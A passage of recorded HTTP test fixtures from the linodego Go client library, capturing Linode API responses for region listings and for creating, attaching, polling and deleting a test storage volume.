"172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 40}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 28 Nov 2024 05:52:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-def","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 7301562, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme", "encryption": "disabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "344" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 28 Nov 2024 05:52:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "100" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"linode_id":67701824,"config_id":71037128}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/7301562/attach method: POST response: body: '{"id": 7301562, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": 67701824, "linode_label": "go-test-ins-4n57ej5b4bz0", "region": "ap-west", "tags": [], "hardware_type": "nvme", "encryption": "disabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "370" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 28 Nov 2024 05:52:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write,linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/7301562 method: GET response: body: '{"id": 7301562, "status": "active", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": 67701824, "linode_label": "go-test-ins-4n57ej5b4bz0", "region": "ap-west", "tags": [], "hardware_type": "nvme", "encryption": "disabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "368" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 28 Nov 2024 05:52:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/7301562 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 28 Nov 2024 05:53:24 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestVolume_WaitForLinodeID_waiting.yaml000066400000000000000000000036371474652371000342360ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/7301562 method: GET response: body: '{"id": 7301562, "status": "active", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": 67701824, "linode_label": "go-test-ins-4n57ej5b4bz0", "region": "ap-west", "tags": [], "hardware_type": "nvme", "encryption": "disabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "368" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 28 Nov 2024 05:53:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVolumes_List.yaml000066400000000000000000000027641474652371000307460ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestWaitForResourceFree.yaml000066400000000000000000001204341474652371000322010ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 